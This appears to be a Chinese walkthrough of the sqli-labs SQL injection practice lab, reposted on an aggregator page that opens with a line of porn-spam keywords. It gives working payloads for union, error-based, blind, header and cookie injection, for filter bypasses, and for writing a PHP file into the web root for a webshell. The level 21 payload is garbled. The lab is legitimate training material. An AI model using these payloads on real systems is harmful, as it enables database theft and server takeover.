国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

sqli-labs部分關(guān)思路

這篇具有很好參考價(jià)值的文章主要介紹了sqli-labs部分關(guān)思路。希望對(duì)大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請(qǐng)大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問。

目錄

updatexml

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

25a

26

26a

27

27a

28

28a


問題:你了解sql注入嗎

答:由于程序過濾不嚴(yán)謹(jǐn),用戶異常輸入,這些輸入會(huì)導(dǎo)致數(shù)據(jù)庫異常查詢,最終導(dǎo)致sql注入

mysql三種注釋符:

--+

#

/**/

updatexml

updatexml()

UPDATEXML (XML_document, XPath_string, new_value);

這個(gè)函數(shù)作用是替換數(shù)據(jù),三個(gè)參數(shù)對(duì)應(yīng)的分別是源文檔、要查找的元素路徑、新的值

例子:

UPDATE mytable SET xml_data = updatexml(xml_data, '/path/to/element', 'new_value') WHERE ...

一個(gè)名為"mytable"的表,其中包含一個(gè)名為"xml_data"的XML類型列。要將XML文檔中"path/to/element"元素的值替換為"new_value

報(bào)錯(cuò)注入利用:

0x7e是~的十六進(jìn)制,會(huì)讓xpath參數(shù)報(bào)錯(cuò),然后返回報(bào)錯(cuò)信息,同時(shí)在xpath參數(shù)中插入concat()連接字符串,和所要查詢的內(nèi)容,例如database()

即可將查詢內(nèi)容與報(bào)錯(cuò)信息一起反饋出來。

1

1.判斷注入類型:先單引號(hào)發(fā)現(xiàn)報(bào)錯(cuò),說明是單引號(hào)注入

2.判斷字段數(shù):用order by ,經(jīng)測(cè)試:?id=1' order by 4 --+發(fā)生報(bào)錯(cuò),說明只有3個(gè)字段

3.查看回顯位置:用一個(gè)不存在id測(cè)試回顯位置:?id=-1' union select 1,2,3 --+,發(fā)現(xiàn),2,3是回顯位置

4.查數(shù)據(jù):

庫名: ?id=-1' union select 1,database(), 3--+,得到security

表名: ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+,得到四張表:

emails,referers,uagents,users

字段名:就是將表名的table改成columns,得到表名,太多了就不列舉了

發(fā)現(xiàn)兩個(gè)關(guān)鍵的username,password

查字段內(nèi)容:?id=-1' union select 1,group_concat(username),3 from security.users--+,查哪個(gè)字段就把username改成對(duì)應(yīng)字段名即可

最終得到賬號(hào)密碼

2

1.判斷注入類型:單雙引號(hào)都報(bào)錯(cuò)了,引號(hào)閉合不了,不是字符注入。是數(shù)字注入

2.用order by 判斷字段數(shù)為3

3.用union判斷回顯位置為2,3

4.查數(shù)據(jù):

庫名:?id=-1%20union%20select%201,database(),--+,得到security

表名:?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

字段名:把表名的table和tables改成column和columns

查賬號(hào)密碼:?id=-1 union select 1,group_concat(username),3 from security.users--+

3

1.判斷注入類型,測(cè)試了1和雙引號(hào)沒異常,單引號(hào)發(fā)現(xiàn)報(bào)錯(cuò),說有括號(hào),所以再閉合一個(gè)括號(hào) id=1')

2.判斷字段和回顯分別是3和2,3

3.查數(shù)據(jù)跟前面一樣

4

從3的單引號(hào)變成雙引號(hào),其他不變

5

1.判斷注入類型,發(fā)現(xiàn)只有id=1'能報(bào)錯(cuò)

2.測(cè)試字段數(shù)和回顯發(fā)現(xiàn)無法使用聯(lián)合查詢了,使用報(bào)錯(cuò)注入

3.查數(shù)據(jù):

庫名:?id=-1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

表名:?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+

字段名:?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security'),0x7e),1)--+

用戶密碼:

?id=-1' and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1)--+ ?id=-1' and updatexml(1,concat(0x7e,(select group_concat(password) from security.users),0x7e),1)--+

6

只是把單引號(hào)換成了雙引號(hào),其他和5關(guān)一樣

7

這關(guān)很奇怪,要做出來得去改mysql的配置文件,允許上傳文件,然后直接傳后門,但是都能修改文件了,還有必要改ini嗎

但是不妨也是一種手段:

利用前提:1.是root,2.目錄是網(wǎng)站的根路徑,也就是網(wǎng)站能訪問到該路徑

先修改my.ini的secure_file_priv="要上傳文件的路徑"

然后閉合后寫導(dǎo)出語句

?id=1')) union select 1,2,'<?php phpinfo(); ?>' into outfile "D:\phpstudy_pro\WWW\shellaa.php"--+

然后就把我們的shellaaa.php上傳到這個(gè)目錄下了,可以傳一句話后門直接用蟻劍登錄,我這里測(cè)試用的是phpinfo();

8

判斷注入類型:初步判斷為bool盲注

庫名:

庫名的長度:?id=1' and length(database())>8 --+數(shù)字加到8沒有回顯,說明庫名長度為8。庫名:?id=1' and ascii(substr((database()),1,1))=115 --+當(dāng)?shù)扔?15的時(shí)候有回顯,說明庫名的第一個(gè)字符為s,以此類推

表名、字段名類似,盲注比較麻煩,建議用腳本或者sqlmap

9

判斷注入類型:測(cè)試對(duì)錯(cuò)都不變,是時(shí)間盲注

跟布爾盲注的區(qū)別就在于加了一個(gè)sleep()函數(shù)

?id=1; and if(ascii(substr(database(),1,1))>100,sleep(2),0)--+

如果條件為真就會(huì)延遲兩秒回顯,也可以看網(wǎng)頁檢查的network模塊的加載時(shí)間的變化,我們以此來判斷是否為真,其余思路與布爾盲注一樣

10

和第9關(guān)的注入唯一區(qū)別就是不用閉合了

11

用戶名輸入單引號(hào)報(bào)錯(cuò),用updatexml嘗試報(bào)錯(cuò)注入

直接在用戶名測(cè)試:aaa' and updatexml(1,concat(0x7e,(select user()),0x7e),1)# 這里因?yàn)槭莗ost提交,所以注釋用的#

然后成功回顯庫名了,然后用戶輸入admin,密碼輸入-1' union select 1,2#

看到回顯位置,然后就直接查數(shù)據(jù)即可

12

跟11題區(qū)別就是密碼框輸入的時(shí)候用雙引號(hào)閉合:-1' union select 1,2#

13

改動(dòng):單引號(hào)+括號(hào)閉合,其他跟11一樣

14

雙引號(hào)閉合的,正?;仫@被注釋,不能用聯(lián)合查詢,首選用updatexml報(bào)錯(cuò)注入、也可以bool盲注根據(jù)返回的圖片來判斷

15

從14的雙引號(hào)閉合變成了單引號(hào)閉合,其他一樣

16

又變成了雙引號(hào)+括號(hào)

17

先判斷魔術(shù)開關(guān)(只在php低版本有),然后用一個(gè)stripslashes(),作用是去掉轉(zhuǎn)義符

再判斷是否為數(shù)字,然后用mysql_real_escape_string()(也是個(gè)低版本的函數(shù))對(duì)特殊字符轉(zhuǎn)義,例如單雙引號(hào)

解釋:如果不判斷魔術(shù)開關(guān),會(huì)自動(dòng)轉(zhuǎn)義一次,然后到了mysql_real_escape_string()這個(gè)函數(shù)又轉(zhuǎn)義一次,這樣雙重轉(zhuǎn)義等于沒有轉(zhuǎn)義,單引號(hào)就逃出限制了,開著的話就會(huì)只轉(zhuǎn)義一次,單引號(hào)就被轉(zhuǎn)義失效了

用戶名是admin

密碼先測(cè)試一下單引號(hào)閉合,報(bào)錯(cuò)了

那么嘗試報(bào)錯(cuò)注入成功回顯:payload:123456' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#

注意單引號(hào)前面的密碼要符合規(guī)范,例如我只寫了個(gè)aaa就會(huì)報(bào)錯(cuò)不合法

18

header頭注入

看源碼知道用戶名密碼都被過濾了,但是重新獲取了兩個(gè)值:HTTP_USER_AGENT和REMOTE_ADDR,并且放到數(shù)據(jù)庫里了,我們選擇USER_AGENT,因?yàn)镽EMOTE_ADDR改不了

用火狐的hackbar:

post:uname=admin&passwd=0

user agent添加一行aaa'提交后發(fā)現(xiàn)報(bào)錯(cuò),原因是插入值為3個(gè),我們寫了四個(gè)

用and連接就不影響了,還是原來的三個(gè)

所以payload:aaaa' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'='1

成功報(bào)錯(cuò)回顯出用戶

19

header頭變成了referer了

然后跟上一題一樣

20

這關(guān)將用戶名放入cookie,然后把cookie放到數(shù)據(jù)庫中查詢

所以注入點(diǎn)就是username

還是用firefox的hackerbar來偽造cookie,測(cè)試單引號(hào)閉合回顯報(bào)錯(cuò)

直接偽造cookie看回顯:-1' union select 1,2,3,4,5#

2,3回顯位置出現(xiàn),后面按套路查就行

注:username錯(cuò)誤就被過濾,正確才放到cookie,然后數(shù)據(jù)庫查cookie,所以修改username沒意義,應(yīng)該偽造cookie

21

cookie拿username的時(shí)候進(jìn)行了一次base64編碼,然后再把cookie解碼放進(jìn)數(shù)據(jù)庫中查詢

所以我們就是把payload進(jìn)行base64編碼然后放給cookie就行了

payload:ov||§vê]j×±]\¢w·L{z?¥y?n±ê??·μjwu

22

換了個(gè)閉合方式:雙引號(hào)閉合

23

先閉合再注釋測(cè)試,發(fā)現(xiàn)注釋符被過濾了

那就不注釋了,用and '1'='1

測(cè)試成功回顯:?id=-1' union select 12,3,4,5 and '1'=‘1

剩下的又和第一關(guān)一樣了

24

先注冊(cè),然后登錄,進(jìn)去后看到修改密碼界面

看源碼,又遇到mysql_real_escape_string()這個(gè)函數(shù)了

簡單說就是給單引號(hào)加個(gè)注釋符,但是關(guān)鍵是數(shù)據(jù)存到數(shù)據(jù)庫的時(shí)候,這個(gè)注釋符會(huì)去掉,也就是把單引號(hào)存到數(shù)據(jù)庫中了

那么查詢的時(shí)候,這個(gè)名字從數(shù)據(jù)庫中拿出來,引號(hào)也會(huì)被拿出來

所以這樣做:

找一個(gè)已存在的用戶名例如abc,然后注冊(cè)用戶abc'#

再修改密碼的話由于引號(hào)閉合和注釋,會(huì)導(dǎo)致用戶abc的密碼被修改,那么我們就知道abc的密碼了

25

所有的or 和 and被過濾

這是限制的報(bào)錯(cuò)注入,和password這個(gè)關(guān)鍵字

我們直接用第一題的解法就行,password寫成passwoorrd成功爆出數(shù)據(jù)

25a

沒有閉合,數(shù)字型的,其他跟25一樣

26

過濾了注釋符、and、or、空格、*也被過濾了

可以用括號(hào)代替空格,然后and用anandd繞過就行了,當(dāng)然不看源碼的話要嘗試會(huì)花不少時(shí)間

在linux下可以替換空格的:%0a、%0b、%0c、%0d、%a0

這里經(jīng)測(cè)試不行,但是其他情況可能有奇效

26a

報(bào)錯(cuò)注入被注釋了,嘗試聯(lián)合查詢也不行

那就試試布爾盲注

payload:?id=1')aandnd(ascii(substr(database(),1,1))>100)anandd('1')=('1

發(fā)現(xiàn)回顯正確的值,說明可以使用布爾盲注后面步驟就一樣,不贅述了

27

聯(lián)合查詢被過濾

union的大寫、小寫、空格都被過濾了、還過濾了三次select

空格用%0a替代,union用UNion這種大小寫組合就可以繞過

select寫成四個(gè)拼起來的就行:selselselselectectectect

除了這些過濾,其他就跟聯(lián)合查詢一樣了

27a

閉合方式不一樣,是單引號(hào),然后過濾select的正則沒有寫i,所以直接寫成SELect就能繞過

28

過濾了union+select,也就是union和select之間不能寫內(nèi)容

還是老樣子,雙寫,用%0a代替空格:

union%0aunion%0aselectselect

或者還能用布爾盲注

28a

沒啥區(qū)別,同樣的和上一關(guān)一樣的payload也能過文章來源地址http://www.zghlxwxcb.cn/news/detail-706143.html

到了這里,關(guān)于sqli-labs部分關(guān)思路的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場。本站僅提供信息存儲(chǔ)空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請(qǐng)注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請(qǐng)點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • [網(wǎng)絡(luò)安全]sqli-labs Less-25a 解題詳析

    [網(wǎng)絡(luò)安全]sqli-labs Less-25a 解題詳析

    不同于25關(guān)的是sql語句中對(duì)于id沒有單引號(hào)包含,同時(shí)沒有輸出錯(cuò)誤項(xiàng),故報(bào)錯(cuò)注入不能用。 有兩種方式:延時(shí)注入和聯(lián)合注入;本文采用聯(lián)合注入。 具體過程不再詳述,本文給出最終POC: 具體過程本文不再贅述,可移至本專欄相關(guān)文章:SQLiLabs靶場專欄

    2024年02月06日
    瀏覽(18)
  • sqli-labs通關(guān)詳解

    sqli-labs通關(guān)詳解

    找注入點(diǎn),當(dāng)輸入id=1 and 1=2–+時(shí)沒有變化,嘗試單引號(hào)閉合找到注入類型 字符型注入,單引號(hào)閉合 判斷字段數(shù) 找回顯點(diǎn) 發(fā)現(xiàn)有兩個(gè)回顯點(diǎn) 開始信息收集(注意union前后格式要相同) 開始逐級(jí)爆破 爆破數(shù)據(jù)庫 看源碼或者嘗試,沒有閉合方式,說明為數(shù)字型注入 嘗試找到注入

    2023年04月15日
    瀏覽(23)
  • SQLI-labs-第一關(guān)

    SQLI-labs-第一關(guān)

    目錄 知識(shí)點(diǎn):單引號(hào)字符型注入 1、根據(jù)提示,為get注入,在url中輸入內(nèi)容?編輯 ?2、判斷注入點(diǎn) ?3、判斷目前該表的字段數(shù) ?4、判斷回顯位置 5、爆庫名 6、爆表名? ?7、爆字段名 ?8、爆值 知識(shí)點(diǎn):單引號(hào)字符型注入 思路: 1、根據(jù)提示,為get注入,在url中輸入內(nèi)容 ?

    2024年02月11日
    瀏覽(24)
  • sqli-labs靶場安裝

    sqli-labs靶場安裝

    ??服務(wù)器環(huán)境:phpstudy ??下載鏈接:https://www.xp.cn/ ??Sqlilabs靶場:sqlilabs ??下載鏈接:https://github.com/Audi-1/sqli-labs ??PhpStudy國內(nèi)12年老牌公益軟件,集安全,高效,功能與一體,已獲得全球用戶認(rèn)可安裝,運(yùn)維也高效。 支持一鍵LAMP,LNMP,集群,監(jiān)控,網(wǎng)站,FTP,數(shù)據(jù)庫,J

    2023年04月13日
    瀏覽(25)
  • Sqli-Labs 通關(guān)筆記

    Sqli-Labs 通關(guān)筆記

    創(chuàng)建網(wǎng)站時(shí)選擇php版本為5.x 修改./sql-connections/db-creds.inc 修改數(shù)據(jù)庫用戶名和密碼,下面的數(shù)據(jù)庫名不用管 任務(wù)目標(biāo):獲取表名 Less-1 GET - Error based - Single quotes - String(基于錯(cuò)誤的GET單引號(hào)字符型注入) sql查詢語句為 SELECT * FROM users WHERE id=\\\'$id\\\' LIMIT 0,1 輸入 ?id=-1\\\' ,報(bào)錯(cuò)語句為

    2023年04月20日
    瀏覽(23)
  • sqli-labs例題復(fù)現(xiàn)

    sqli-labs例題復(fù)現(xiàn)

    less-1.1 在源碼中$id=$_GET[\\\'id\\\'];之后加入如下代碼: 1.分析正則 第一個(gè)b匹配select單詞邊界,sS匹配到所有字符,最后一個(gè)b匹配到from單詞邊界。 select...from被過濾,失效。 2.科學(xué)計(jì)數(shù)法的引入 如果可以存在一個(gè),可以加在from前面,不會(huì)影響語句執(zhí)行,從而實(shí)現(xiàn)繞過正則

    2024年02月10日
    瀏覽(21)
  • sqli-labs靶場分析

    sqli-labs靶場分析

    1、level1 單引號(hào)測(cè)試報(bào)錯(cuò),為單引號(hào)閉合,且顯示1多了個(gè)單引號(hào)故而為字符型注入。且未對(duì)用戶輸入進(jìn)行任何過濾。 且SQL語句錯(cuò)誤會(huì)輸出,可以使用報(bào)錯(cuò)注入 order by判斷表列數(shù) uoion 聯(lián)合查詢,因?yàn)榫W(wǎng)頁只顯示第一張表的數(shù)據(jù),因此需要union前的語句為假,查出數(shù)據(jù)為空,把位

    2024年02月07日
    瀏覽(29)
  • sqli-labs關(guān)卡之一(兩種做法)

    sqli-labs關(guān)卡之一(兩種做法)

    目錄 一、布爾盲注(bool注入) ?二、時(shí)間盲注(sleep注入) 頁面沒有報(bào)錯(cuò)和回顯信息,只會(huì)返回正常或者不正常的信息,這時(shí)候就可以用布爾盲注 布爾盲注原理是先將你查詢結(jié)果的第一個(gè)字符轉(zhuǎn)換為ascii碼,再與后面的數(shù)字比較,如果為真,整個(gè)查詢條件就為真,返回正常的結(jié)果

    2024年02月09日
    瀏覽(26)
  • sqli-labs基礎(chǔ)篇【第七關(guān)】詳細(xì)解析

    sqli-labs基礎(chǔ)篇【第七關(guān)】詳細(xì)解析

    ??從下面的注入測(cè)試來看,只有兩種輸出結(jié)果 ??如果sql執(zhí)行了,就會(huì)輸出“You are in… Use outfile…”,反之輸入“You have an error in your SQL syntax” 查看是否存在雙引號(hào)注入 正常輸出,說明有執(zhí)行,存在雙引號(hào)注入 查看是否存在閉合特殊符號(hào) 推測(cè)注入點(diǎn):雙引號(hào)+兩個(gè)閉合

    2023年04月15日
    瀏覽(23)
  • 【史上最全sqlmap通關(guān)sqli-labs靶場教程】

    【史上最全sqlmap通關(guān)sqli-labs靶場教程】

    下載sqlmap地址:sqlmap: automatic SQL injection and database takeover tool 下載完成后解壓在C盤或者D盤都行,自己別忘了就可以 解壓后在目標(biāo)文件夾下打開cmd,運(yùn)行python sqlmap.py -h 運(yùn)行后出現(xiàn)sqlmap的說明,表示安裝成功 ( 這里補(bǔ)充一下,-h其實(shí)不是完成的說明,-hh可以獲得更多說明, )

    2024年01月19日
    瀏覽(25)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請(qǐng)作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包